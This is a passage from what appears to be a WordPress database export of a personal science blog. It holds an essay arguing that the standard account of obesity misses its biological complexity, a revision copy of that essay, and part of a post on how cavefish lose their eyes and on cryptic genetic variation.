mean that you’re stocked up for the winter because you don’t want to buy any blackberry preserve. Or it might mean that you got way more blackberries than you expected, or that you actually couldn’t freeze as many blackberries as expected, or any number of other issues.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Obesity, in this case, is a lot like blackberries. If there is some sort of bodily compensation for the fat, and the bodily compensation is negatively impacting overall health, then we can say the excess fat is bad, just like we can say my Uncle Cary grew too many apples because he was forced to hide them in our pantry, annoying my mom. But then we need to identify what the compensation is, how it functions to alleviate whatever the stresses of obesity are, and what the negative health consequences are.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I understand that this makes it way more difficult to make broad statements about obesity because I’ve taken away an easy definition. However, this reframing is beneficial for three main reasons:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. It guarantees that we’re only talking about obesity as an actual disease or condition (i.e. something that negatively impacts health), rather than the state of weighing more than an arbitrary cut off.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. It allows for clear, unambiguous animal models of obesity, rather than having to come up with reasons as to why bears having a lot of fat is good, but dogs having a lot of fat is bad.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. It separates out bodily compensations for fat from the negative health consequences of those bodily compensations. Right now, those are mixed up, so insulin resistance, which, if we’re judging by animal models (and the way GLP-1 receptor agonists work), is probably compensating for some effect of obesity, is considered a negative health consequence of obesity instead.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This would also make it much easier to predict the course of obesity and the effect of interventions. Right now, if you tell me someone is obese, I can’t even tell you what their weight will be in a year, if, for example, they’re a bodybuilder on a bulk cycle. And I definitely can’t tell you with certainty if they will develop any other conditions or negative health problems.<br><br>However, if someone has obesity-related type 2 diabetes? Well, if they don’t do anything, that will continue and get worse, with their pancreatic beta cells dying out and producing less and less insulin. After all, obesity-related type 2 diabetes doesn’t spontaneously remit, and it wouldn’t develop in a bodybuilder who’s bulking. If that person then gets a gastric bypass, though, they will almost certainly start to lose weight, and their type 2 diabetes will go into remission.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We can then start talking about just being fat, or even extremely fat, not as a health condition but as a state of being that’s determined by bodily processes. While the cardiovascular system of a very fat person probably doesn’t look like the cardiovascular system of a very fat hummingbird preparing for migration, the way that they store and maintain fat does have a lot of similarities, especially with the connections to the insulin system.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This can be put in a useful contrast to the way that young individuals, both human and otherwise, find it impossible to put on weight. My brothers and I used to eat 2000+ calories at fast food restaurants just for fun in eating competitions without putting on a single pound. Why were we able to do that? I don’t know, but we won’t be able to find out with the way we’re thinking about obesity right now.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Energy acquisition, metabolism, and storage is a fundamental biological problem. Fat storage is a crucial part of every animal’s solution to this problem. But, because we insist on thinking of being fat as a human health issue, rather than a method that basically the entire animal kingdom has adopted to solve the energy storage problem, we have failed to understand fatness in either its biological form or, ironically, even as a health issue.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Every drug developer knows the acronym ADME: absorption, deposition, metabolism, excretion. It’s the way of describing what happens to any drug that enters the body, and every drug that gets approved gets characterized in those terms. We should be able to do the same thing for food and understand the path of food in at least as much detail. But we’re not there yet.&nbsp;</p>\n<!-- /wp:paragraph -->','The problem with the traditional story of obesity','','publish','closed','closed','','the-problem-with-the-traditional-story-of-obesity','','','2024-06-12 17:07:40','2024-06-12 17:07:40','',0,'https://trevorklee.com/?page_id=444',0,'page','',0),
(445,1,'2024-06-12 17:07:40','2024-06-12 17:07:40','<!-- wp:paragraph -->\n<p>There’s a traditional story of obesity that goes something like this:&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:quote -->\n<blockquote class=\"wp-block-quote\"><!-- wp:paragraph -->\n<p>Obesity is a condition in which an organism has an excessive amount of fat. The definition of “excessive” is really only carefully defined in humans, in which excessive is defined as the ratio of the person’s weight (kg)/ the square of that person’s height (m) being over 30 (a.k.a. the body mass index, or BMI). This is defined as excessive because at or above that ratio, people tend to get negative health issues from all their fat, such as type 2 diabetes or cardiovascular disease.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Obesity is ultimately caused by an excess number of calories consumed vs. calories utilized by exercise and daily living. However, there are many factors that influence this, including diet, genetics, hormones, pollutants, and mental disorders.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Permanently losing weight as an obese person is very difficult. Some of the most effective weight loss interventions are surgeries that restrict the amount of food obese people can consume, and, more recently, medications that make people want to eat less.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Biologically, obesity is closely tied to a few different systems, especially the insulin system, which impacts the downstream blood lipid system, which includes fatty acids, cholesterol, and triglycerides. Obesity can cause malfunctions in both systems. In the insulin system, obesity causes type 2 diabetes, resulting in low levels of insulin in the blood and insulin resistance in the cells.&nbsp; In the blood lipid system, obesity generally results in inappropriately high levels of cholesterol and triglycerides. Malfunctions in both systems can also impact obesity or weight more generally.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Obesity also impacts and can be impacted by a number of different biological systems, including the immune system and the endocrine system. Those connections are more obscure and not at play in all people. But, obesity does increase the risk of autoimmune disorders, especially in women, and it does increase the risk of endocrine disorders, also especially in women. Some autoimmune disorders, like lupus, can cause weight gain, as can some immunosuppressants. Some endocrine disorders can also cause weight gain.</p>\n<!-- /wp:paragraph --></blockquote>\n<!-- /wp:quote -->\n\n<!-- wp:paragraph -->\n<p>This story is fine if you’re a primary care physician or someone writing an intro to a study. But it doesn’t really capture how weird obesity and weight in general is. As a result, it misses a lot of the complexity that actually matters if we want a scientific understanding of obesity.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Let’s start at the top, with the definition of obesity. As I mentioned, the standard definition of obesity is at or above a BMI of 30, because that value tends to be associated with negative health consequences in the people who are usually studied in obesity studies (i.e. white, middle-class Westerners). But the threshold value for negative health consequences from too much fat is not a constant. It changes depending on ethnic group. Aboriginal Australians tend to start experiencing health consequences at significantly lower BMIs than 30, Asian people tend to start experiencing negative health consequences at somewhat lower BMIs, and Inuits tend to start experiencing negative health consequences at higher BMIs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1b3819d2-cb07-4a98-8353-ac4f2ff6eada_306x443.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1b3819d2-cb07-4a98-8353-ac4f2ff6eada_306x443.jpeg\" alt=\"An Eskimo smokes a pipe\" title=\"An Eskimo smokes a pipe\"/></a><figcaption class=\"wp-element-caption\">What the Inuits looked like, historically. This is a guy who has adapted to incredibly cold conditions, in part by storing some fat. His descendants are also well-equipped to handle fat, more so than people who are descended from skinny people.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Then, when we move onto the animal kingdom, for some species being obese isn’t associated with any negative health consequences at all. Not only are there obvious examples of fat animals like whales or seals, but pretty much all migratory and hibernatory animals put on an enormous amount of fat in preparation for their metabolically challenging migrations or hibernations. Needless to say, neither hummingbirds nor grizzly bears get heart attacks when they double their weight.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This switch from obesity being bad to obesity being good seems easy to trigger, too, if cavefish are any indication. As I wrote about previously, there are a couple different species of fish who live normal, fishy lives in streams near caves. However, if you raise them in complete darkness for a couple generations, they become obese, eyeless, and exceptionally long lived.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, if we keep moving down our standard story of obesity, we get the issue of obesity being all about a surplus of calories for an extended period of time, and weight loss being about a deficit of calories for an extended period of time. This ignores the complexity of how surpluses and deficits are “calculated”. When obese people lose a lot of weight, their body tries to get back to their old weight, with one study reporting that a formerly obese person had to eat only 800 calories per day to stop himself from gaining weight. Similarly, anorexic people are often “hypermetabolic” when they attempt to gain weight and no longer be anorexic, and are forced to eat enormous quantities to gain any weight at all.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And while the effective surgical interventions are straightforward enough to understand, the most recent, most effective medical interventions are anything but, as my last post was about. We thought the medical weight loss interventions were all about “making us feel like we’re full” by imitating the GLP-1 peptide released after eating, but, unfortunately, it’s way more complicated than that. For some reason, imitating that peptide or its complement, GIP, or imitating the inverse of that peptide or the inverse of its complement (i.e. the antagonists of those receptors) can all have surprisingly similar effects on both weight loss and/or protection from weight gain.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Convinced yet that this traditional story has holes? No? Well, let’s keep going. It’s true that obesity tends to lead to type 2 diabetes, which leads to underproduction of insulin and insulin resistance. However, directly administering insulin tends to lead to weight gain. Also, insulin resistance goes away almost immediately upon any amount of weight loss, and then re-establishes itself on any amount of weight gain. However, both fat cell creation (lipogenesis) and fat cell destruction (lipolysis) also lead to drops in insulin resistance. Oh, and also, pretty much any medication that interacts with GLP-1 receptors or GIP receptors, whether agonizing them or antagonizing them, leads to insulin secretion.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Then, last, when it comes to obesity, autoimmune, and endocrine disorders, well, as I mentioned, a lot of those only affect women, like obesity-associated asthma. Now, while it’s true that autoimmune and endocrine disorders disproportionately impact women, still, there’s no theory of obesity that explains why some of those would only impact women. The normal explanations, like fat cells causing inflammation, don’t cut it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F53449213-5882-44b3-935e-a516334bcb7c_500x376.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F53449213-5882-44b3-935e-a516334bcb7c_500x376.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">Perfect example: obesity-related asthma is literally only a problem for women. Why? Hard to say!</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>Towards a new theory of obesity</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Imagine you’re a gardener harvesting blackberries at the end of summer. You’re faced with a basic issue: what do you do with the blackberries you harvest?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, obviously, you’re going to save some for now, some for later, and some for way later. Maybe you’ll eat some of the blackberries, put some in a basket, freeze some, and turn the rest into a preserve. And these are going to be your options, generally speaking, no matter who you are or where you are growing blackberries. There are only so many options on what you can do with blackberries.<br><br>What is dependent on who (or where) you are, however, is how you allocate your blackberries. If you haven’t eaten breakfast yet, maybe you’ll eat a lot of blackberries now, but you won’t want any for dinner. If your family loves blackberries, maybe you’ll save a ton of blackberries for dinner tonight. If the local supermarket never stocks blackberries, maybe you’ll want to freeze a lot. As a result of this, it’s impossible for me to make a generalization about the best way for you to handle your blackberries without knowing more about your situation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That’s not to say I can never make a judgment about whether you’ve handled your blackberries the right way. I have an uncle who used to sneak jars of applesauce into our pantry whenever he’d visit, because his apple trees would produce too many apples for his family alone to consume, and he didn’t have the time or inclination to sell them. His options were to let the apples rot in his yard or to reverse steal applesauce from (to?) us. Uncle Cary did not handle his apples the right way, and, if he had grown blackberries, would probably have not handled his blackberries the right way either.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But,&nbsp;<em>a priori</em>, a snapshot of anyone’s blackberry (or apple) plans or larder doesn’t let us know if they are handling their blackberries correctly. Even Uncle Cary’s basement, overflowing with applesauce (and pickles, and canned peaches, and tomato sauce), wouldn’t necessarily have tipped us off. After all, he could have just been storing them temporarily while he waited to donate them to whatever soup kitchen he hadn’t already overloaded with stuff.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, having a basement overflowing with blackberry preserves might mean that you’re bad at planning, and soon you’ll need to reverse-steal your preserves away. Or it might mean that you’re stocked up for the winter because you don’t want to buy any blackberry preserve. Or it might mean that you got way more blackberries than you expected, or that you actually couldn’t freeze as many blackberries as expected, or any number of other issues.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Obesity, in this case, is a lot like blackberries. If there is some sort of bodily compensation for the fat, and the bodily compensation is negatively impacting overall health, then we can say the excess fat is bad, just like we can say my Uncle Cary grew too many apples because he was forced to hide them in our pantry, annoying my mom. But then we need to identify what the compensation is, how it functions to alleviate whatever the stresses of obesity are, and what the negative health consequences are.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I understand that this makes it way more difficult to make broad statements about obesity because I’ve taken away an easy definition. However, this reframing is beneficial for three main reasons:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. It guarantees that we’re only talking about obesity as an actual disease or condition (i.e. something that negatively impacts health), rather than the state of weighing more than an arbitrary cut off.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. It allows for clear, unambiguous animal models of obesity, rather than having to come up with reasons as to why bears having a lot of fat is good, but dogs having a lot of fat is bad.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. It separates out bodily compensations for fat from the negative health consequences of those bodily compensations. Right now, those are mixed up, so insulin resistance, which, if we’re judging by animal models (and the way GLP-1 receptor agonists work), is probably compensating for some effect of obesity, is considered a negative health consequence of obesity instead.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This would also make it much easier to predict the course of obesity and the effect of interventions. Right now, if you tell me someone is obese, I can’t even tell you what their weight will be in a year, if, for example, they’re a bodybuilder on a bulk cycle. And I definitely can’t tell you with certainty if they will develop any other conditions or negative health problems.<br><br>However, if someone has obesity-related type 2 diabetes? Well, if they don’t do anything, that will continue and get worse, with their pancreatic beta cells dying out and producing less and less insulin. After all, obesity-related type 2 diabetes doesn’t spontaneously remit, and it wouldn’t develop in a bodybuilder who’s bulking. If that person then gets a gastric bypass, though, they will almost certainly start to lose weight, and their type 2 diabetes will go into remission.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We can then start talking about just being fat, or even extremely fat, not as a health condition but as a state of being that’s determined by bodily processes. While the cardiovascular system of a very fat person probably doesn’t look like the cardiovascular system of a very fat hummingbird preparing for migration, the way that they store and maintain fat does have a lot of similarities, especially with the connections to the insulin system.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This can be put in a useful contrast to the way that young individuals, both human and otherwise, find it impossible to put on weight. My brothers and I used to eat 2000+ calories at fast food restaurants just for fun in eating competitions without putting on a single pound. Why were we able to do that? I don’t know, but we won’t be able to find out with the way we’re thinking about obesity right now.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Energy acquisition, metabolism, and storage is a fundamental biological problem. Fat storage is a crucial part of every animal’s solution to this problem. But, because we insist on thinking of being fat as a human health issue, rather than a method that basically the entire animal kingdom has adopted to solve the energy storage problem, we have failed to understand fatness in either its biological form or, ironically, even as a health issue.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Every drug developer knows the acronym ADME: absorption, deposition, metabolism, excretion. It’s the way of describing what happens to any drug that enters the body, and every drug that gets approved gets characterized in those terms. We should be able to do the same thing for food and understand the path of food in at least as much detail. But we’re not there yet.&nbsp;</p>\n<!-- /wp:paragraph -->','The problem with the traditional story of obesity','','inherit','closed','closed','','444-revision-v1','','','2024-06-12 17:07:40','2024-06-12 17:07:40','',444,'https://trevorklee.com/?p=445',0,'revision','',0),
(446,1,'2024-06-12 17:10:35','2024-06-12 17:10:35','<!-- wp:paragraph -->\n<p>As I’ve mentioned before in this blog, cavefish are fish that live solely in caves, as their name suggests. They are weird. They are obese, eyeless, and exceptionally long-lived. This is in contrast to their cousins, surfacefish, who live in rivers and streams near the caves and have normal sizes, normal eyes, and normal lifespans.<br><br>You may wonder why I call these fish “cavefish” and I never give their scientific names. That’s because they don’t have any. Cavefish is a generic term for any fish that lives solely in a cave, and represents a diverse group of over 200 fish, from catfish to eels.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Surfacefish can become cavefish rapidly in the right conditions, definitely within hundreds of years and likely within dozens. Surfacefish and cavefish can fully interbreed (as long as they’re part of the same original species), and surfacefish start the process of becoming cavefish in just a generation or two. In one interesting natural experiment, rainbow trout were introduced into a massive underground cave in Tennessee, Craighead Cavern, sometime around the 1950’s. The intention was to see where the cave exited by following the rainbow trout, but the trout stayed put, and have lived in the cave ever since. These rainbow trout today are pretty close to cavefish, even though they are constantly disturbed by tour guides tossing them food for the entertainment of tourists. Local news articles quote tour guides describing these rainbow trout as “enormous, 20% blind, and 70% colorless”,&nbsp; which, in my opinion, is a good description of being halfway in between cavefish and surfacefish.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is not an adaptation that’s unique to fish, either. The olm is a species of aquatic salamander that lives almost exclusively in caves. Most olm are blind, with regressed eyes, and colorless (the exception to this description are a subspecies of olm which live in a spring near a cave, who have limited pigment and small eyes). Olm can survive at least 10 years without food, as they store enormous amounts of fat and glycogen in their liver. Their estimated lifespan is up to 110 years with a median of 58 years, far surpassing their nearest relatives in their family, mudpuppies, who only live about 11 years.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4cbb8831-2341-4271-a7c5-498a38f1c3c2_634x347.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4cbb8831-2341-4271-a7c5-498a38f1c3c2_634x347.jpeg\" alt=\"Slovenian Olm salamander lays eggs for first time in three years | Daily  Mail Online\" title=\"Slovenian Olm salamander lays eggs for first time in three years | Daily  Mail Online\"/></a><figcaption class=\"wp-element-caption\">The olm. They may not look obese, but their livers are. Also, I saw a news story that suggested one olm may not have moved in 7 years, which is pretty great. What a life.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>We are more closely related to olm than they are to rainbow trout, or to any of the other cavefish. And yet olm, when faced with cave conditions (darkness, lack of food, lack of predators), become remarkably phenotypically similar to fish in cave conditions. Most interestingly for me, their adaptations cause them to achieve two of the holy grails of human medicine: being obese without health consequences, and being exceptionally long-lived.<br><br>So, that raises the question: if you raised several generations of humans in a totally dark cave, would they, too, become obese, eyeless, and exceptionally long-lived, just like our cousins, the cave salamanders? And, if so, is there a way to trigger those changes without raising several generations of humans in total darkness? Is there a way to trigger just exceptional longevity without losing our eyes or slim figure? In other words, is being long-lived a choice?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s tricky to answer this because there hasn’t been enough research done on cavefish or olm yet. Researching longevity is, of course, difficult, because it takes a long time. There’s been more research done on the metabolic adaptations, but that’s also hard to measure without cutting open the animals and looking at their livers, which is generally a fatal procedure. So, in the end, we are unfortunately going to have to look at the least interesting of the adaptations because it’s the easiest to study: the loss of the eyes. We’ll then try to generalize to obesity and longevity.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, the first question you might ask is: how do cavefish lose their eyes? Well, there are a few ways to answer that. The most obvious, and easiest to answer, is developmentally. Cavefish, at least the ones studied so far, lose their eyes in&nbsp;<a href=\"https://royalsocietypublishing.org/doi/full/10.1098/rstb.2015.0487#d3e487\">a famously strange way</a>. As embryos (or “fry”), their eyes develop normally for a few days. Then all of a sudden, they start to lose their eyes, either lens first, in the case of the Mexican tetra, or retina first, in&nbsp;<a href=\"https://journals.biologists.com/dev/article/142/4/743/47153/Cavefish-eye-loss-in-response-to-an-early-block-in\">the case of the Somalian cavefish</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This roundabout way of getting rid of the eyes, by starting development on them and then erasing them, suggests that, for whatever reason, cavefish have to develop their eyes at least somewhat before erasing them. This is likely due to the sequencing of development in fish. Much like mammalian males develop nipples because sex differentiation happens after nipple formation, cavefish probably develop proto eyes because interfering earlier than that would mess up neurodevelopment.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If we zoom in on the Mexican tetra, who’s by far the best studied of the cave animals, we get a better idea of how exactly this sequencing of development works. If you look at a cave-dwelling Mexican tetra and a surface-dwelling Mexican tetra embryo develop side-by-side, you can notice that, from a very early stage,&nbsp;<a href=\"https://royalsocietypublishing.org/doi/full/10.1098/rstb.2015.0487#d3e487\">cave dwellers and surface-dwellers use the same cells for different purposes</a>. They still form the same early structures, but cave-dwellers use differential timing in signaling genes to divert some retina cells to the hypothalamus. So, even though both cave dwellers and surface dwellers are working off almost the same blueprint for their construction project (similar enough DNA to interbreed), they have subtly different “foremen”. For the cave dwellers, this foreman can’t interfere with the blueprint, but he can redirect the materials as needed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Even more interesting, we also have an excellent idea of how the eye eventually self-destructs. Remember how I said the Mexican tetra’s eye destruction starts lens first? Well, in&nbsp;<a href=\"https://sci-hub.gupiaoq.com/10.1126/science.289.5479.631\">a fascinating series of experiments</a>, it was found that transplanting a lens from a surfacefish tetra embryo to a cavefish embryo results in the cavefish developing a normal eye on the side of the transplant. Likewise, transplanting a lens from a cavefish to a surfacefish results in the surfacefish developing an eye that self-destructs on the side of the transplant.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F905dd655-500f-4e0a-9a5c-38e38f627366_528x888.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F905dd655-500f-4e0a-9a5c-38e38f627366_528x888.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">Pretty dramatic results from the lens transplant, no?</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>So, for the Mexican tetra at least, the signal to keep the eye or not keep the eye, and likely the signal to divert cells or not divert cells from the retina, comes directly from the lens. It is not a body-wide signal. Now, the question becomes: is the signal genetic or epigenetic? That is: does the signal come directly from permanent modifications to the genetic code, or does the signal come from temporary modifications to how the genetic code is read?<br><br>The implications of either conclusion are important. If these dramatic phenotypic changes are genetic, then they have to be already harbored in the cavedweller’s genetic code as a silent, or&nbsp;<a href=\"https://sci-hub.gupiaoq.com/10.1038/nrg3688\">cryptic</a>, variant. There’s no way that random mutations can come about in just a few generations so as to cause such dramatic phenotypic changes, especially consistently across cavedwelling species. So, instead, all cavedwelling species have to already have these phenotypes within their genome, including the phenotype to become long-lived. Under pressure of natural selection, these phenotypes get suddenly unleashed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>On the other hand, if these dramatic phenotypic changes are epigenetic, then these are massive, heritable phenotypic changes that can be triggered by a simple change in conditions. By simply silencing one region of the genome or promoting another in response to a change in conditions, cavedwelling organisms can become the blind, obese, longlived cavedwellers we know and love. And, somehow, all the cavedwellers adopt similar phenotypes, despite having epigenetic changes targeted at different parts of the body, like with our retina vs. lens directed eye apoptosis.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, the jury is still out on which one of these mechanisms is responsible, but the evidence leans towards the former, the cryptic variation. The cavefish phenotype is conserved, in that, if you breed cavefish with each other, they&nbsp;<a href=\"https://aquariumtidings.com/blind-cave-tetras/\">will continue to be eyeless</a>. And, if you cross a cavefish with a surfacefish, the offspring have small eyes, with bigger eyes as you continue to cross. This is identical to a classic Mendelian recessive genotype experiment. Meanwhile, it’s rare for epigenetic inheritance to function across generations, and probably impossible for it to mimic Mendelian recessive genotyping.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Even stronger evidence comes from gene editing, where a CRISPR-induced mutation in a single gene, oca2, can&nbsp;<a href=\"https://www.sciencedirect.com/science/article/pii/S0960982221009064\">cause both albinism and reduced sleep needs</a>&nbsp;in the Mexican tetra, two of the less commonly discussed cavefish adaptations. Unfortunately, there’s no similar simple CRISPR-induced mutation that can cause complete eye loss, but it raises the likelihood that there is one, or at least a few that function together to cause eye loss.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F82fa333e-fa7e-437e-be33-1d2e2fd590c3_1120x752.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F82fa333e-fa7e-437e-be33-1d2e2fd590c3_1120x752.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">Note that Pachon is the name of the cave these specific tetra are from.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>But the trouble with cryptic variation is that it’s, well, cryptic. It’s hard to understand the mechanism. Normal variation is pretty easy to understand, like&nbsp;<a href=\"https://en.wikipedia.org/wiki/Peppered_moth_evolution\">the classic peppered moth example</a>. Before the Industrial Revolution, most moths were white, and a few were black. After the Industrial Revolution, black moths were better able to hide amongst the coal covered trees, and so were better able to reproduce before being eaten by birds. The frequency of black moths rose drastically.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This sort of variation does not exist for the phenotype of having eyes. When surfacefish population get trapped in a cave, all of them have eyes, with presumably only minute variation in sizing. The step change to losing eyes in development (and becoming obese, etc.) can’t be driven by just better reproductive success. So, something else has to trigger it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The best guess so far is that&nbsp;<a href=\"https://sci-hub.gupiaoq.com/10.1126/science.1240276\">it’s triggered by the lack of conductivity in cavewater</a>, as cavewater contains much fewer solutes than freshwater. This lack of conductivity elicits a “heat shock” response, forcing the cavefish to use up their heat shock protein 90 (hsp90) in order to keep normal protein folding in this strange, nonconductive environment. In experimentation, inhibiting the hsp90 protein with radicicol results in a massive increase in variation of tetra eye sizes, from very big to very small, which would then, presumably, allow for the same selection mechanism as the peppered moths.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If we zoom out again, then we get a sense of how obesity or longevity could be triggered in cavefish or olm or, indeed, humans. Being raised in a dark, food desert of a cave is a stressor. Whatever buffer systems are involved in managing stress of various sorts, whether hsp90,&nbsp;<a href=\"https://elifesciences.org/articles/51830#s2\">cortisol</a>&nbsp;or something else goes into overdrive trying to manage the stress. The buffer system runs thin quickly, as&nbsp;<a href=\"https://elifesciences.org/articles/51830#s2\">metabolic differences between dark-raised surfacefish and light-raised surfacefish can be seen in as little as 2.5 days</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As the buffer system runs thin (i.e. cortisol or hsp90 runs out), extreme phenotypic variations are unearthed. In humans, we’d call this a disease, like&nbsp;<a href=\"https://en.wikipedia.org/wiki/Addison%27s_disease#Suggestive_features\">Addison’s disease</a>. In reality, it’s an evolutionary adaptation to extreme conditions. If the phenotype provides an advantage, like the loss of eyes providing an energy saving advantage that makes up for the loss of eyesight, then that phenotype will win out.<br><br>The key here, though, is that those genetic variants already exist. They’re just masked. The tetra that go into the caves already have, in their genetic code, extreme variations in eye size, obesity, and longevity. However, the buffer systems on top of the genetic code smooth out all the variations. Without the buffer system, you would see surfacefish with tiny, almost nonexistent eyes and surfacefish with huge eyes. With the buffer system, those same fish get just slightly smaller and slightly bigger eyes.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If this is true for tetra, which, to be fair, is still an if, then it might be true for olm as well. And if it’s true for olm, then it might be true for humans. That means that, within our genetic code, there could be extreme variations in body weight or longevity that are naturally masked by buffer systems. If we inhibit or exhaust the buffer systems, then those natural, extreme variations would reveal 